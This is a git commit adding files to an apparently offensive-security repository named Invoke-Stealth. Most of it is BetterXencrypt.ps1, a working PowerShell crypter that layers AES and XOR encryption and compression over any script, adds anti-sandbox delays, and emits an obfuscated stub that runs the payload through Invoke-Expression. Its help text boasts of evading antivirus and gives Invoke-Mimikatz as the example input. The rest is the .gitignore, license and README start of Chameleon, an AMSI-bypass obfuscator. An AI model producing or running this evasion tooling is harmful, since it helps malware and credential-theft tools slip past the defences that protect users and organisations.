first commit
This commit is contained in:
370
Invoke-Stealth/Resources/BetterXencrypt/BetterXencrypt.ps1
Normal file
370
Invoke-Stealth/Resources/BetterXencrypt/BetterXencrypt.ps1
Normal file
@@ -0,0 +1,370 @@
|
||||
# Xentropy's Copyright
|
||||
# Xencrypt - PowerShell crypter
|
||||
# Copyright (C) 2020 Xentropy ( @SamuelAnttila )
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
# GetRektBoy724's Copyright
|
||||
# BetterXencrypt - PowerShell crypter
|
||||
# Copyright (C) 2021 GetRektBoy724
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
Set-StrictMode -Version Latest
|
||||
$ErrorActionPreference = "Stop"
|
||||
$PSDefaultParameterValues['*:ErrorAction']='Stop'
|
||||
|
||||
function Create-Var() {
|
||||
#Variable length help vary the length of the file generated
|
||||
#old: [guid]::NewGuid().ToString().Substring(24 + (Get-Random -Maximum 9))
|
||||
$set = "abcdefghijkmnopqrstuvwxyz"
|
||||
(1..(10 + (Get-Random -Maximum 8)) | %{ $set[(Get-Random -Minimum 6 -Maximum $set.Length)] } ) -join ''
|
||||
}
|
||||
|
||||
function xorEnc {
|
||||
Param (
|
||||
[Parameter(Mandatory,ValueFromPipeline,ValueFromPipelineByPropertyName)]
|
||||
[string] $string = $(Throw("oopsie doopsie we made a fucky wucky shit")),
|
||||
[Parameter(Mandatory,ValueFromPipeline,ValueFromPipelineByPropertyName)]
|
||||
[string] $method = $(Throw("oopsie doopsie we made a fucky wucky shit")),
|
||||
[Parameter(Mandatory,ValueFromPipeline,ValueFromPipelineByPropertyName)]
|
||||
[string] $key = $(Throw("oopsie doopsie we made a fucky wucky shit"))
|
||||
)
|
||||
$xorkey = [System.Text.Encoding]::UTF8.GetBytes($key)
|
||||
|
||||
if ($method -eq "decrypt"){
|
||||
$string = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($string))
|
||||
}
|
||||
|
||||
$byteString = [System.Text.Encoding]::UTF8.GetBytes($string)
|
||||
$xordData = $(for ($i = 0; $i -lt $byteString.length; ) {
|
||||
for ($j = 0; $j -lt $xorkey.length; $j++) {
|
||||
$byteString[$i] -bxor $xorkey[$j]
|
||||
$i++
|
||||
if ($i -ge $byteString.Length) {
|
||||
$j = $xorkey.length
|
||||
}
|
||||
}
|
||||
})
|
||||
|
||||
if ($method -eq "encrypt") {
|
||||
$xordData = [System.Convert]::ToBase64String($xordData)
|
||||
} else {
|
||||
$xordData = [System.Text.Encoding]::UTF8.GetString($xordData)
|
||||
}
|
||||
|
||||
return $xordData
|
||||
}
|
||||
|
||||
function Invoke-BetterXencrypt {
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Invoke-BetterXencrypt is a better version of Xencrypt,Xencrypt itself is a Powershell runtime crypter designed to evade AVs,cause Xencrypt is not FUD anymore,i recode the stub and "big bang boom",voila!Its FUD again
|
||||
If you dont know what Xencrypt is,Xencrypt takes any PowerShell script as an input and both packs and encrypts it to evade AV. It also lets you layer this recursively however many times you want in order to foil dynamic & heuristic detection.
|
||||
.DESCRIPTION
|
||||
____ _ _ __ __ _
|
||||
| __ ) ___| |_| |_ ___ _ _\ \/ /___ _ __ ___ _ __ _ _ _ __ | |_
|
||||
| _ \ / _ \ __| __/ _ \ '__\ // _ \ '_ \ / __| '__| | | | '_ \| __|
|
||||
| |_) | __/ |_| || __/ | / \ __/ | | | (__| | | |_| | |_) | |_
|
||||
|____/ \___|\__|\__\___|_| /_/\_\___|_| |_|\___|_| \__, | .__/ \__|
|
||||
|___/|_|
|
||||
----------------------------------------------------------------------
|
||||
[-----------------Your Lovely FUD Powershell Crypter-----------------]
|
||||
[-----------------Recoded With Love By GetRektBoy724-----------------]
|
||||
[------------------https://github.com/GetRektBoy724------------------]
|
||||
Invoke-BetterXencrypt takes any PowerShell script as an input and both packs and encrypts it to evade AV.
|
||||
It also lets you layer this recursively however many times you want in order to attempt to foil dynamic & heuristic detection.
|
||||
Not only that,Invoke-BetterXencrypt-ed script can bypass any behavior monitoring from AVs.
|
||||
Invoke-BetterXencrypt uses AES and XOR encryption with GZip/Deflate compression.
|
||||
Version : v1.4.0
|
||||
.PARAMETER InFile
|
||||
Specifies the script to encrypt.
|
||||
.PARAMETER OutFile
|
||||
Specifies the output script.
|
||||
.PARAMETER Iterations
|
||||
The number of times the PowerShell script will be packed & crypted recursively. Default is 2.
|
||||
.EXAMPLE
|
||||
PS> Invoke-BetterXencrypt -InFile Invoke-Mimikatz.ps1 -OutFile banana.ps1 -Iterations 3
|
||||
.LINK
|
||||
https://github.com/GetRektBoy724/BetterXencrypt
|
||||
#>
|
||||
|
||||
[CmdletBinding()]
|
||||
Param (
|
||||
[Parameter(Mandatory,ValueFromPipeline,ValueFromPipelineByPropertyName)]
|
||||
[string] $infile = $(Throw("-InFile is required")),
|
||||
[Parameter(Mandatory,ValueFromPipeline,ValueFromPipelineByPropertyName)]
|
||||
[string] $outfile = $(Throw("-OutFile is required")),
|
||||
[Parameter(Mandatory=$false,ValueFromPipeline,ValueFromPipelineByPropertyName)]
|
||||
[string] $iterations = 2
|
||||
)
|
||||
Process {
|
||||
# a good tool need a good banner ;)
|
||||
$banner = @"
|
||||
____ _ _ __ __ _
|
||||
| __ ) ___| |_| |_ ___ _ _\ \/ /___ _ __ ___ _ __ _ _ _ __ | |_
|
||||
| _ \ / _ \ __| __/ _ \ '__\ // _ \ '_ \ / __| '__| | | | '_ \| __|
|
||||
| |_) | __/ |_| || __/ | / \ __/ | | | (__| | | |_| | |_) | |_
|
||||
|____/ \___|\__|\__\___|_| /_/\_\___|_| |_|\___|_| \__, | .__/ \__|
|
||||
|___/|_|
|
||||
----------------------------------------------------------------------
|
||||
[-----------------Your Lovely FUD Powershell Crypter-----------------]
|
||||
[-----------------Recoded With Love By GetRektBoy724-----------------]
|
||||
[------------------https://github.com/GetRektBoy724------------------]
|
||||
"@
|
||||
Write-Output "$banner"
|
||||
# read
|
||||
Write-Output "[*] Reading '$($infile)' ..."
|
||||
$codebytes = [System.IO.File]::ReadAllBytes($infile)
|
||||
|
||||
|
||||
for ($i = 1; $i -le $iterations; $i++) {
|
||||
# Decide on encryption params ahead of time
|
||||
|
||||
Write-Output "[*] Starting code layer ..."
|
||||
$paddingmodes = 'PKCS7','ISO10126','ANSIX923','Zeros'
|
||||
$paddingmode = $paddingmodes | Get-Random
|
||||
$ciphermodes = 'ECB','CBC'
|
||||
$ciphermode = $ciphermodes | Get-Random
|
||||
|
||||
$keysizes = 128,192,256
|
||||
$keysize = $keysizes | Get-Random
|
||||
|
||||
$compressiontypes = 'Gzip','Deflate'
|
||||
$compressiontype = $compressiontypes | Get-Random
|
||||
|
||||
# compress
|
||||
Write-Output "[*] Compressing ..."
|
||||
[System.IO.MemoryStream] $output = New-Object System.IO.MemoryStream
|
||||
if ($compressiontype -eq "Gzip") {
|
||||
$compressionStream = New-Object System.IO.Compression.GzipStream $output, ([IO.Compression.CompressionMode]::Compress)
|
||||
} elseif ( $compressiontype -eq "Deflate") {
|
||||
$compressionStream = New-Object System.IO.Compression.DeflateStream $output, ([IO.Compression.CompressionMode]::Compress)
|
||||
}
|
||||
$compressionStream.Write( $codebytes, 0, $codebytes.Length )
|
||||
$compressionStream.Close()
|
||||
$output.Close()
|
||||
$compressedBytes = $output.ToArray()
|
||||
|
||||
# generate key
|
||||
Write-Output "[*] Generating encryption key ..."
|
||||
$aesManaged = New-Object "System.Security.Cryptography.AesManaged"
|
||||
if ($ciphermode -eq 'CBC') {
|
||||
$aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CBC
|
||||
} elseif ($ciphermode -eq 'ECB') {
|
||||
$aesManaged.Mode = [System.Security.Cryptography.CipherMode]::ECB
|
||||
}
|
||||
|
||||
if ($paddingmode -eq 'PKCS7') {
|
||||
$aesManaged.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
|
||||
} elseif ($paddingmode -eq 'ISO10126') {
|
||||
$aesManaged.Padding = [System.Security.Cryptography.PaddingMode]::ISO10126
|
||||
} elseif ($paddingmode -eq 'ANSIX923') {
|
||||
$aesManaged.Padding = [System.Security.Cryptography.PaddingMode]::ANSIX923
|
||||
} elseif ($paddingmode -eq 'Zeros') {
|
||||
$aesManaged.Padding = [System.Security.Cryptography.PaddingMode]::Zeros
|
||||
}
|
||||
|
||||
$aesManaged.BlockSize = 128
|
||||
$aesManaged.KeySize = 256
|
||||
$aesManaged.GenerateKey()
|
||||
$b64key = [System.Convert]::ToBase64String($aesManaged.Key)
|
||||
|
||||
# encrypt
|
||||
Write-Output "[*] Encrypting with AES..."
|
||||
$encryptor = $aesManaged.CreateEncryptor()
|
||||
$encryptedData = $encryptor.TransformFinalBlock($compressedBytes, 0, $compressedBytes.Length);
|
||||
[byte[]] $fullData = $aesManaged.IV + $encryptedData
|
||||
$aesManaged.Dispose()
|
||||
$b64encrypted = [System.Convert]::ToBase64String($fullData)
|
||||
|
||||
#reverse base64 encrypted for obfuscation ;)
|
||||
$reversingb64encrypted = $b64encrypted.ToCharArray()
|
||||
[array]::Reverse($reversingb64encrypted)
|
||||
$b64encryptedreversed = -join($reversingb64encrypted)
|
||||
|
||||
# xor encrypt
|
||||
Write-Output "[*] Encrypting with XOR ..."
|
||||
# this is a literal fucking hell,i need to fucking set variable names for the goddang xor encryptor/decryptor at the stub
|
||||
$string = Create-Var
|
||||
$method = Create-Var
|
||||
$key = Create-Var
|
||||
$byteString = Create-Var
|
||||
$xordData = Create-Var
|
||||
$xori = Create-Var
|
||||
$xorj = Create-Var
|
||||
# now its the time to XOR encrypt the reversed AES encrypted payload
|
||||
$XOREncKey = Create-Var
|
||||
$base64XOREncPayload = xorEnc -string "$b64encryptedreversed" -method "encrypt" -key "$XOREncKey"
|
||||
|
||||
# write
|
||||
Write-Output "[*] Finalizing code layer ..."
|
||||
|
||||
$stub_template = ''
|
||||
|
||||
# some AV's Dynamic Analysis bypasses
|
||||
$code_alternatives = @()
|
||||
$code_alternatives += '${30} = (Get-Process -Id $PID | Select-Object Name,@{17}Name="WorkingSet";Expression={17}($_.ws / 1024kb){18}{18}).WorkingSet' + "`r`n"
|
||||
$code_alternatives += 'if (${30} -lt 250) {17} ${31} = "a" * 300MB {18}' + "`r`n"
|
||||
$code_alternatives += '${19} = 0' + "`r`n"
|
||||
$code_alternatives += '${20} = 30000000' + "`r`n"
|
||||
$code_alternatives += 'For (${19}=0; ${19} -lt ${20};${19}++) {17} ${19}++ {18}' + "`r`n"
|
||||
$stub_template += $code_alternatives -join ''
|
||||
|
||||
$code_alternatives = @()
|
||||
$code_alternatives += '${43} = [System.Text.Encoding]::UTF8.GetBytes("{42}")' + "`r`n"
|
||||
$code_alternatives += '${44} = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("{0}"))' + "`r`n"
|
||||
$code_alternatives += '${45} = [System.Text.Encoding]::UTF8.GetBytes(${44})' + "`r`n"
|
||||
# start XOR decrypt sequence
|
||||
$code_alternatives += '${46} = $(for (${47} = 0; ${47} -lt ${45}.length; ) {17}' + "`r`n"
|
||||
$code_alternatives += ' for (${48} = 0; ${48} -lt ${43}.length; ${48}++) {17}' + "`r`n"
|
||||
$code_alternatives += ' ${45}[${47}] -bxor ${43}[${48}]' + "`r`n"
|
||||
$code_alternatives += ' ${47}++' + "`r`n"
|
||||
$code_alternatives += ' if (${47} -ge ${45}.Length) {17}' + "`r`n"
|
||||
$code_alternatives += ' ${48} = ${43}.length' + "`r`n"
|
||||
$code_alternatives += ' {18}' + "`r`n"
|
||||
$code_alternatives += ' {18}' + "`r`n"
|
||||
$code_alternatives += '{18})' + "`r`n"
|
||||
$code_alternatives += '${46} = [System.Text.Encoding]::UTF8.GetString(${46})' + "`r`n"
|
||||
$stub_template += $code_alternatives -join ''
|
||||
|
||||
$code_alternatives = @()
|
||||
$code_alternatives += '${11} = "${46}"' + "`r`n"
|
||||
$code_alternatives += '${9} = ${11}.ToCharArray()' + "`r`n"
|
||||
$code_alternatives += '[array]::Reverse(${9})' + "`r`n"
|
||||
$code_alternatives += '${10} = -join(${9})' + "`r`n"
|
||||
$stub_template += $code_alternatives -join ''
|
||||
|
||||
$code_alternatives = @()
|
||||
$code_alternatives += '${2} = [System.Convert]::FromBase64String("${10}")' + "`r`n"
|
||||
$code_alternatives += '${3} = [System.Convert]::FromBase64String("{1}")' + "`r`n"
|
||||
#aes managed but its base64 encoded and reversed ;)
|
||||
$code_alternatives += '${24} = "==gCkV2Zh5WYNNXZB5SeoBXYyd2b0BXeyNkL5RXayV3YlNlLtVGdzl3U"' + "`r`n"
|
||||
$code_alternatives += '${25} = ${24}.ToCharArray()' + "`r`n"
|
||||
$code_alternatives += '[array]::Reverse(${25})' + "`r`n"
|
||||
$code_alternatives += '${26} = -join(${25})' + "`r`n"
|
||||
$code_alternatives += '${12} = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(${26}))' + "`r`n"
|
||||
$code_alternatives += '${4} = New-Object "${12}"' + "`r`n"
|
||||
$stub_template += $code_alternatives -join ''
|
||||
|
||||
$code_alternatives = @()
|
||||
#ciphermode but its base64 encoded and reversed ;)
|
||||
if ($ciphermode -eq "ECB") {
|
||||
$code_alternatives += '${21} = "==gQDVkO60VZk9WTyVGawl2QukHawFmcn9GdwlncD5Se0lmc1NWZT5SblR3c5N1W"' + "`r`n"
|
||||
$code_alternatives += '${23} = ${21}.ToCharArray()' + "`r`n"
|
||||
$code_alternatives += '[array]::Reverse(${23})' + "`r`n"
|
||||
$code_alternatives += '${22} = -join(${23})' + "`r`n"
|
||||
$code_alternatives += '${13} = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(${22}))' + "`r`n"
|
||||
$code_alternatives += '${14} = & ([scriptblock]::Create(${13}))' + "`r`n"
|
||||
$code_alternatives += '${4}.Mode = ${14}' + "`r`n"
|
||||
}elseif ($ciphermode -eq "CBC") {
|
||||
$code_alternatives += '${21} = "==wQCNkO60VZk9WTyVGawl2QukHawFmcn9GdwlncD5Se0lmc1NWZT5SblR3c5N1W"' + "`r`n"
|
||||
$code_alternatives += '${23} = ${21}.ToCharArray()' + "`r`n"
|
||||
$code_alternatives += '[array]::Reverse(${23})' + "`r`n"
|
||||
$code_alternatives += '${22} = -join(${23})' + "`r`n"
|
||||
$code_alternatives += '${13} = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(${22}))' + "`r`n"
|
||||
$code_alternatives += '${14} = & ([scriptblock]::Create(${13}))' + "`r`n"
|
||||
$code_alternatives += '${4}.Mode = ${14}' + "`r`n"
|
||||
}
|
||||
#paddingmode but its base64 encoded and reversed ;)
|
||||
if ($paddingmode -eq 'PKCS7') {
|
||||
$code_alternatives += '${27} = "==wNTN0SQpjOdVGZv10ZulGZkFGUukHawFmcn9GdwlncD5Se0lmc1NWZT5SblR3c5N1W"' + "`r`n"
|
||||
$code_alternatives += '${28} = ${27}.ToCharArray()' + "`r`n"
|
||||
$code_alternatives += '[array]::Reverse(${28})' + "`r`n"
|
||||
$code_alternatives += '${29} = -join(${28})' + "`r`n"
|
||||
$code_alternatives += '${15} = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(${29}))' + "`r`n"
|
||||
$code_alternatives += '${16} = & ([scriptblock]::Create(${15}))' + "`r`n"
|
||||
$code_alternatives += '${4}.Padding = ${16}' + "`r`n"
|
||||
} elseif ($paddingmode -eq 'ISO10126') {
|
||||
$code_alternatives += '${27} = "==gNyEDMx80UJpjOdVGZv10ZulGZkFGUukHawFmcn9GdwlncD5Se0lmc1NWZT5SblR3c5N1W"' + "`r`n"
|
||||
$code_alternatives += '${28} = ${27}.ToCharArray()' + "`r`n"
|
||||
$code_alternatives += '[array]::Reverse(${28})' + "`r`n"
|
||||
$code_alternatives += '${29} = -join(${28})' + "`r`n"
|
||||
$code_alternatives += '${15} = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(${29}))' + "`r`n"
|
||||
$code_alternatives += '${16} = & ([scriptblock]::Create(${15}))' + "`r`n"
|
||||
$code_alternatives += '${4}.Padding = ${16}' + "`r`n"
|
||||
} elseif ($paddingmode -eq 'ANSIX923') {
|
||||
$code_alternatives += '${27} = "==wMykDWJNlTBpjOdVGZv10ZulGZkFGUukHawFmcn9GdwlncD5Se0lmc1NWZT5SblR3c5N1W"' + "`r`n"
|
||||
$code_alternatives += '${28} = ${27}.ToCharArray()' + "`r`n"
|
||||
$code_alternatives += '[array]::Reverse(${28})' + "`r`n"
|
||||
$code_alternatives += '${29} = -join(${28})' + "`r`n"
|
||||
$code_alternatives += '${15} = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(${29}))' + "`r`n"
|
||||
$code_alternatives += '${16} = & ([scriptblock]::Create(${15}))' + "`r`n"
|
||||
$code_alternatives += '${4}.Padding = ${16}' + "`r`n"
|
||||
} elseif ($paddingmode -eq 'Zeros') {
|
||||
$code_alternatives += '${27} = "==wcvJXZapjOdVGZv10ZulGZkFGUukHawFmcn9GdwlncD5Se0lmc1NWZT5SblR3c5N1W"' + "`r`n"
|
||||
$code_alternatives += '${28} = ${27}.ToCharArray()' + "`r`n"
|
||||
$code_alternatives += '[array]::Reverse(${28})' + "`r`n"
|
||||
$code_alternatives += '${29} = -join(${28})' + "`r`n"
|
||||
$code_alternatives += '${15} = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(${29}))' + "`r`n"
|
||||
$code_alternatives += '${16} = & ([scriptblock]::Create(${15}))' + "`r`n"
|
||||
$code_alternatives += '${4}.Padding = ${16}' + "`r`n"
|
||||
}
|
||||
$code_alternatives += '${4}.BlockSize = 128' + "`r`n"
|
||||
$code_alternatives += '${4}.KeySize = '+$keysize + "`n" + '${4}.Key = ${3}' + "`r`n"
|
||||
$code_alternatives += '${4}.IV = ${2}[0..15]' + "`r`n"
|
||||
$stub_template += $code_alternatives -join ''
|
||||
|
||||
$code_alternatives = @()
|
||||
$code_alternatives += '${34} = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("U3lzdGVtLklPLk1lbW9yeVN0cmVhbQ=="))' + "`r`n"
|
||||
$code_alternatives += '${6} = New-Object ${34}(,${4}.CreateDecryptor().TransformFinalBlock(${2},16,${2}.Length-16))' + "`r`n"
|
||||
$code_alternatives += '${7} = New-Object ${34}' + "`r`n"
|
||||
$stub_template += $code_alternatives -join ''
|
||||
|
||||
|
||||
if ($compressiontype -eq "Gzip") {
|
||||
$stub_template += '${40} = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("RGVjb21wcmVzcw=="))' + "`r`n"
|
||||
$stub_template += '${41} = & ([scriptblock]::Create([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("W0lPLkNvbXByZXNzaW9uLkNvbXByZXNzaW9uTW9kZV0="))))' + "`r`n"
|
||||
$stub_template += '${35} = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("U3lzdGVtLklPLkNvbXByZXNzaW9uLkd6aXBTdHJlYW0="))' + "`r`n"
|
||||
$stub_template += '${5} = New-Object ${35} ${6}, (${41}::${40})' + "`r`n"
|
||||
} elseif ( $compressiontype -eq "Deflate") {
|
||||
$stub_template += '${40} = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("RGVjb21wcmVzcw=="))' + "`r`n"
|
||||
$stub_template += '${41} = & ([scriptblock]::Create([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("W0lPLkNvbXByZXNzaW9uLkNvbXByZXNzaW9uTW9kZV0="))))' + "`r`n"
|
||||
$stub_template += '${35} = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("U3lzdGVtLklPLkNvbXByZXNzaW9uLkRlZmxhdGVTdHJlYW0="))' + "`r`n"
|
||||
$stub_template += '${5} = New-Object ${35} ${6}, (${41}::${40})' + "`r`n"
|
||||
}
|
||||
$stub_template += '${5}.CopyTo(${7})' + "`r`n"
|
||||
|
||||
$code_alternatives = @()
|
||||
$code_alternatives += '${5}.Close()' + "`r`n"
|
||||
$code_alternatives += '${4}.Dispose()' + "`r`n"
|
||||
$code_alternatives += '${6}.Close()' + "`r`n"
|
||||
$code_alternatives += '${36} = & ([scriptblock]::Create([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("W1N5c3RlbS5UZXh0LkVuY29kaW5nXQ=="))))' + "`r`n"
|
||||
$code_alternatives += '${37} = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("VVRGOA=="))' + "`r`n"
|
||||
$code_alternatives += '${38} = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("VG9BcnJheQ=="))' + "`r`n"
|
||||
$code_alternatives += '${39} = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("R2V0U3RyaW5n"))' + "`r`n"
|
||||
$code_alternatives += '${8} = ${36}::${37}.${39}(${7}.${38}())' + "`r`n"
|
||||
$stub_template += $code_alternatives -join ''
|
||||
|
||||
$stub_template += ('Invoke-Expression','IEX' | Get-Random)+'(${8})' + "`r`n"
|
||||
|
||||
|
||||
# it's ugly, but it beats concatenating each value manually.
|
||||
[string]$code = $stub_template -f $base64XOREncPayload, $b64key, (Create-Var), (Create-Var), (Create-Var), (Create-Var), (Create-Var), (Create-Var), (Create-Var), (Create-Var), (Create-Var), (Create-Var), (Create-Var), (Create-Var), (Create-Var), (Create-Var), (Create-Var), ("{"), ("}"), (Create-Var), (Create-Var), (Create-Var), (Create-Var), (Create-Var), (Create-Var), (Create-Var), (Create-Var), (Create-Var), (Create-Var), (Create-Var), (Create-Var), (Create-Var), (Create-Var), (Create-Var), (Create-Var), (Create-Var), (Create-Var), (Create-Var), (Create-Var), (Create-Var), (Create-Var), (Create-Var), $XOREncKey, $key, $string, $byteString, $xordData, $xori, $xorj
|
||||
$codebytes = [System.Text.Encoding]::UTF8.GetBytes($code)
|
||||
}
|
||||
Write-Output "[*] Writing '$($outfile)' ..."
|
||||
[System.IO.File]::WriteAllText($outfile,$code)
|
||||
Write-Output "[+] Done!"
|
||||
}
|
||||
}
|
||||
136
Invoke-Stealth/Resources/Chameleon/.gitignore
vendored
Normal file
136
Invoke-Stealth/Resources/Chameleon/.gitignore
vendored
Normal file
@@ -0,0 +1,136 @@
|
||||
# Byte-compiled / optimized / DLL files
|
||||
__pycache__/
|
||||
*.py[cod]
|
||||
*$py.class
|
||||
|
||||
# C extensions
|
||||
*.so
|
||||
|
||||
# JetBrain
|
||||
.idea/
|
||||
*.ps1
|
||||
*.json
|
||||
*.7z
|
||||
!utils/AMSITrigger.exe
|
||||
|
||||
# Distribution / packaging
|
||||
.Python
|
||||
build/
|
||||
develop-eggs/
|
||||
dist/
|
||||
downloads/
|
||||
eggs/
|
||||
.eggs/
|
||||
lib/
|
||||
lib64/
|
||||
parts/
|
||||
sdist/
|
||||
var/
|
||||
wheels/
|
||||
pip-wheel-metadata/
|
||||
share/python-wheels/
|
||||
*.egg-info/
|
||||
.installed.cfg
|
||||
*.egg
|
||||
MANIFEST
|
||||
|
||||
# PyInstaller
|
||||
# Usually these files are written by a python script from a template
|
||||
# before PyInstaller builds the exe, so as to inject date/other infos into it.
|
||||
*.manifest
|
||||
*.spec
|
||||
|
||||
# Installer logs
|
||||
pip-log.txt
|
||||
pip-delete-this-directory.txt
|
||||
|
||||
# Unit test / coverage reports
|
||||
htmlcov/
|
||||
.tox/
|
||||
.nox/
|
||||
.coverage
|
||||
.coverage.*
|
||||
.cache
|
||||
nosetests.xml
|
||||
coverage.xml
|
||||
*.cover
|
||||
*.py,cover
|
||||
.hypothesis/
|
||||
.pytest_cache/
|
||||
|
||||
# Translations
|
||||
*.mo
|
||||
*.pot
|
||||
|
||||
# Django stuff:
|
||||
*.log
|
||||
local_settings.py
|
||||
db.sqlite3
|
||||
db.sqlite3-journal
|
||||
|
||||
# Flask stuff:
|
||||
instance/
|
||||
.webassets-cache
|
||||
|
||||
# Scrapy stuff:
|
||||
.scrapy
|
||||
|
||||
# Sphinx documentation
|
||||
docs/_build/
|
||||
|
||||
# PyBuilder
|
||||
target/
|
||||
|
||||
# Jupyter Notebook
|
||||
.ipynb_checkpoints
|
||||
|
||||
# IPython
|
||||
profile_default/
|
||||
ipython_config.py
|
||||
|
||||
# pyenv
|
||||
.python-version
|
||||
|
||||
# pipenv
|
||||
# According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control.
|
||||
# However, in case of collaboration, if having platform-specific dependencies or dependencies
|
||||
# having no cross-platform support, pipenv may install dependencies that don't work, or not
|
||||
# install all needed dependencies.
|
||||
#Pipfile.lock
|
||||
|
||||
# PEP 582; used by e.g. github.com/David-OConnor/pyflow
|
||||
__pypackages__/
|
||||
|
||||
# Celery stuff
|
||||
celerybeat-schedule
|
||||
celerybeat.pid
|
||||
|
||||
# SageMath parsed files
|
||||
*.sage.py
|
||||
|
||||
# Environments
|
||||
.env
|
||||
.venv
|
||||
env/
|
||||
venv/
|
||||
ENV/
|
||||
env.bak/
|
||||
venv.bak/
|
||||
|
||||
# Spyder project settings
|
||||
.spyderproject
|
||||
.spyproject
|
||||
|
||||
# Rope project settings
|
||||
.ropeproject
|
||||
|
||||
# mkdocs documentation
|
||||
/site
|
||||
|
||||
# mypy
|
||||
.mypy_cache/
|
||||
.dmypy.json
|
||||
dmypy.json
|
||||
|
||||
# Pyre type checker
|
||||
.pyre/
|
||||
21
Invoke-Stealth/Resources/Chameleon/LICENSE
Normal file
21
Invoke-Stealth/Resources/Chameleon/LICENSE
Normal file
@@ -0,0 +1,21 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2021 klezVirus
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
175
Invoke-Stealth/Resources/Chameleon/README.md
Normal file
175
Invoke-Stealth/Resources/Chameleon/README.md
Normal file
@@ -0,0 +1,175 @@
|
||||
:triangular_flag_on_post: This is the public repository of chameleon, for latest version and updates please consider supporting us through https://porchetta.industries/
|
||||
|
||||
# Chameleon
|
||||
|
||||
Chameleon is yet another PowerShell obfuscation tool designed to bypass AMSI and commercial antivirus solutions.
|
||||
|
||||
## :triangular_flag_on_post: Sponsors
|
||||
|
||||
If you want to sponsors this project and have the latest updates on chameleon, latest issues fixed, latest features, please support us on https://porchetta.industries/
|
||||
|
||||
## Official Discord Channel
|
||||
|
||||
Come hang out on Discord!
|
||||
|
||||
[](https://discord.gg/ycGXUxy)
|
||||
|
||||
## Overview
|
||||
|
||||
The tool has been developed as a Python port of the [Chimera][1] project, by [tokioneon_][2]. As such, it uses
|
||||
mostly the same techniques to evade common detection signatures, such as:
|
||||
|
||||
* comment deletion/substitution
|
||||
* string substitution (variables, functions, data-types)
|
||||
* variable concatenation
|
||||
* indentation randomization
|
||||
* semi-random backticks insertion
|
||||
* case randomization
|
||||
* encoding
|
||||
|
||||
## Why porting it
|
||||
|
||||
Chimera was indeed a shiny project, so why did I decided to port it to Python and why you should use chameleon?
|
||||
Well, there are several reasons why I decided to build Chameleon. I wrote a more detailed post about them [here][7].
|
||||
I've also listed below the most important ones.
|
||||
|
||||
##### Reliability
|
||||
|
||||
As the author of Chimera states in the readme, the chimera script can successfully obfuscate scripts that the author
|
||||
tested personally, which are contained in the [shells][3] directory. However, the tool is not very reliable with other,
|
||||
untested, scripts. Quoting the author:
|
||||
|
||||
> there's no telling how untested scripts will reproduce with Chimera...
|
||||
|
||||
This alone was a good reason to attempt to make the tool a bit more reliable, and also capable to obfuscate
|
||||
more complex scripts.
|
||||
|
||||
##### Speed
|
||||
|
||||
